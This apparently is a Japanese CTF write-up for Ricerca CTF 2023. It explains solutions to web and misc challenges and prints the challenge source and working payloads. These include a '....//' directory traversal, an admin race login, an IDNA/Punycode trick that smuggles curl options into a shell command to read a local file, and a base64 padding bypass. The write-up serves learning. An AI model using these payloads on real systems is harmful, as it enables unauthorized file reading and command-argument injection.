Ricerca CTF 2023 Writeup
チーム"m1z0r3"として参加して、20位でした。
国内学生チームとしては5位[1]で、3位との差は65ptでした。
つまり、あと1問解けば[2]入賞できそうでした。とても悔しい。
競技時間中に解いた問題
[Web] Cat Café
Ricerca Cat Caféのスタッフである猫たちがギャラリーで表示されるサイトです。
import flask
import os
app = flask.Flask(__name__)
@app.route('/')
def index():
return flask.render_template('index.html')
@app.route('/img')
def serve_image():
filename = flask.request.args.get("f", "").replace("../", "")
path = f'images/{filename}'
if not os.path.isfile(path):
return flask.abort(404)
return flask.send_file(path)
if __name__ == '__main__':
app.run()
12行目に注目します。
filename = flask.request.args.get("f", "").replace("../", "")
書き換えは再帰的に行われないので、../
を....//
で作ることができます。
/img?f=....//flag.txt
ディレクトリ・トラバーサル攻撃を行い、フラグを獲得できます。
RicSec{directory_traversal_is_one_of_the_most_common_vulnearbilities}
[Web] tinyDB
Username
とPassword
を入力して送信すると、authID
とauthPW
とgrade
を返すサイトです。
別にadminのログインページがあるので、そこでログインするとフラグを獲得できます。
ソースコードを一部抜粋します。
server.post<{ Body: UserBodyT }>("/set_user", async (request, response) => {
const { username, password } = request.body;
const session = request.session.sessionId;
const userDB = getUserDB(session);
let auth = {
username: username ?? "admin",
password: password ?? randStr(),
};
if (!userDB.has(auth)) {
userDB.set(auth, "guest");
}
if (userDB.size > 10) {
// Too many users, clear the database
userDB.clear();
auth.username = "admin";
auth.password = getAdminPW();
userDB.set(auth, "admin");
auth.password = "*".repeat(auth.password.length);
}
const rollback = () => {
const grade = userDB.get(auth);
updateAdminPW();
const newAdminAuth = {
username: "admin",
password: getAdminPW(),
};
userDB.delete(auth);
userDB.set(newAdminAuth, grade ?? "guest");
};
setTimeout(() => {
// Admin password will be changed due to hacking detected :(
if (auth.username === "admin" && auth.password !== getAdminPW()) {
rollback();
}
}, 2000 + 3000 * Math.random()); // no timing attack!
username
とpassword
を入力して送信すると、authId
とauthPW
とgrade
を出力します。
username
とpassword
が登録されていない場合、新たにguest
権限で登録します。
次に、userDB.size > 10
になるとデータベースが削除されて、admin
が登録されます。
しかし、PW
は"*".repeat(auth.password.length);
です。
(別のコードから、auth.password.lengthは分かるが、後で不要なことが分かる。)
また、パスワードがランダムな文字列に更新されるのは2-5秒後です。
つまり、このタイミングでPW
を***...***
でログインできます。
フラグを獲得する方法はかなりシンプルです。
まず、最初のページでusername
とPW
を空白にして複数回送信します。
送信しているとuserDB.size > 10
になり、データベースが削除されます。
その次の送信で、authId
がadmin
、authPW
が ********************************
、grade
がadmin
であると表示されるはずです。
そして、2-5秒以内にadminのログインページで得られた情報を使ってログインすると、フラグを獲得できます。
RicSec{j4v45cr1p7_15_7000000000000_d1f1cul7}
競技時間後に解いた問題
[Web] funnylfi
クエリにURLを投げると、ウェブサイトを表示してくれるサイトです。
import subprocess
from flask import Flask, request, Response
app = Flask(__name__)
# Multibyte Characters Sanitizer
def mbc_sanitizer(url :str) -> str:
bad_chars = "!\"#$%&'()*+,-;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c"
for c in url:
try:
if c.encode("idna").decode() in bad_chars:
url = url.replace(c, "")
except:
continue
return url
# Scheme Detector
def scheme_detector(url :str) -> bool:
bad_schemes = ["dict", "file", "ftp", "gopher", "imap", "ldap", "mqtt",
"pop3", "rtmp", "rtsp", "scp", "smbs", "smtp", "telnet", "ws"]
url = url.lower()
for s in bad_schemes:
if s in url:
return True
return False
# WAF
@app.after_request
def waf(response: Response):
if b"RicSec" in b"".join(response.response):
return Response("Hi, Hacker !!!!")
return response
@app.route("/")
def funnylfi():
url = request.args.get("url")
if not url:
return "Welcome to Super Secure Website Viewer.<br>Internationalized domain names are supported.<br>ex. <code>?url=ⓔxample.com</code>"
if scheme_detector(url):
return "Hi, Scheme man !!!!"
try:
proc = subprocess.run(
f"curl {mbc_sanitizer(url[:0x3f]).encode('idna').decode()}",
capture_output=True,
shell=True,
text=True,
timeout=1,
)
except subprocess.TimeoutExpired:
return "[error]: timeout"
if proc.returncode != 0:
return "[error]: curl"
return proc.stdout
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=314152
scheme
を制限し、記号なども制限し、最終的にcurlを実行しています。
また、途中でIDNAエンコードによりPunycode
に変換されています。
scheme
はⓕile
でバイパスすることができます。(f-ile
でも可能)
?url=ⓕile:///var/www/flag
でファイル自体にアクセスできますが、WAFに怒られます。
SECCON CTF 2022 Finalsのeasylfi2のように回避することも無理そうです。
ここが最大の壁です。競技時間の半分、6時間以上考えていましたが、越えられなかった...
ずっと、IDNAエンコードによるPunycode
への変換が怪しいと思って取り組んでいました。
最初はmbc_sanitizer
が変換せずにチェックしてると思い、Unicode宝探しをしていた。
hyphen = "-"
pipe = "|"
q = """
space = " "
percnet = "﹪"
しかし、宝探しは無駄ではありませんでした。
a¨a
を通すと、xn-- a -decc
となり、空白を含むことができます。
Unicodeのデータベースを読むと、¨
は00A8;DIAERESIS;Sk;0;ON;<compat> 0020 0308;;;;N;SPACING DIAERESIS;;;;
であり、<compat> 0020
と空白を含んで構成されています。
mbc_sanitizerでは1文字ずつ検証しているが、¨
はxn-- -ccb
となるため、空白のみではないため、通過することができます。
競技時間中に分かったのはここまででした。
あとはxn-- file:///var/www/flag -r 1-***
を作れば出来そうだと思い、ハイフンを含んで構成された<compat> 002D
を見つければ良いのですが、存在しませんでした。
次に、空白を入れたときに最後が-***
となることに注目します。
curl
のrオプションは、通常-r 1-
のように使いますが、-r1***
でも同様の動作をするようです。
Unicodeのデータベースより、<compat> 0020
が記述されているUnicodeをリスト化します。
それをⓕile:///var/www/flag
の両端に追加し、総当たりで検証します。
for a in l:
for b in l:
url = a + "ⓕile:///var/www/flag" + b
print(url)
print(f"curl {mbc_sanitizer(url[:0x3f]).encode('idna').decode()}")
実行すると、゜ⓕile:///var/www/flag˛
がxn-- file:///var/www/flag -r1m6885s
に変換されます。
/?url=゜f-ile:///var/www/flag˛
にアクセスすると、先頭一文字が欠けたフラグを獲得できます。
RicSec{mul71by73_ch4r4c73r5_5upp0r7_15_4_lurk1n6_vuln3r4b1l17y}
作問者はよく知っている人[3]だったので、競技時間中に解きたかった...
[Misc] gatekeeper
Twitterで解法を見てしまったので、自力では解いていませんが、使えそうな仕様だと思ったので、メモ程度に書きます。
import subprocess
def base64_decode(s: str) -> bytes:
proc = subprocess.run(['base64', '-d'], input=s.encode(), capture_output=True)
if proc.returncode != 0:
return ''
return proc.stdout
if __name__ == '__main__':
password = input('password: ')
if password.startswith('b3BlbiBzZXNhbWUh'):
exit(':(')
if base64_decode(password) == b'open sesame!':
print(open('/flag.txt', 'r').read())
else:
print('Wrong')
base64デコードした文字列がopen sesame!
であるとフラグを獲得できます。
しかし、普通にopen sesame!
をbase64エンコードしたb3BlbiBzZXNhbWUh
から始まる文字列は拒否されます。
競技時間中はopen sesami!
の空白に注目していましたが、何も成果は得られませんでした。
先に答えを言うと、途中に=
が入ってても大丈夫です。
たしかに、ソースコードを見るとそのような仕様があります。知らなかった。
o
とpen sesami!
のbase64デコードした文字列を連結させたbw==cGVuIHNlc2FtZSE=
を送信するとフラグを獲得できます。
RicSec{b4s364_c4n_c0nt41n_p4ddin6}
とてもシンプルな問題で好きです。そして、普通に使えそうな仕様。
funnylfi
が解けそうなので優先してしまったが、こっちを見るべきでした。反省。
感想
最初にチームメイトの方、ありがとうございました。
はじめて、チームm1z0r3
として参加させて頂きました。
入賞まで本当にあと少しというところだったので、とても悔しいです。
そして運営の皆さん、開催していただきありがとうございました。
もし来年もあるならば、ぜひリベンジしたいです。
Discussion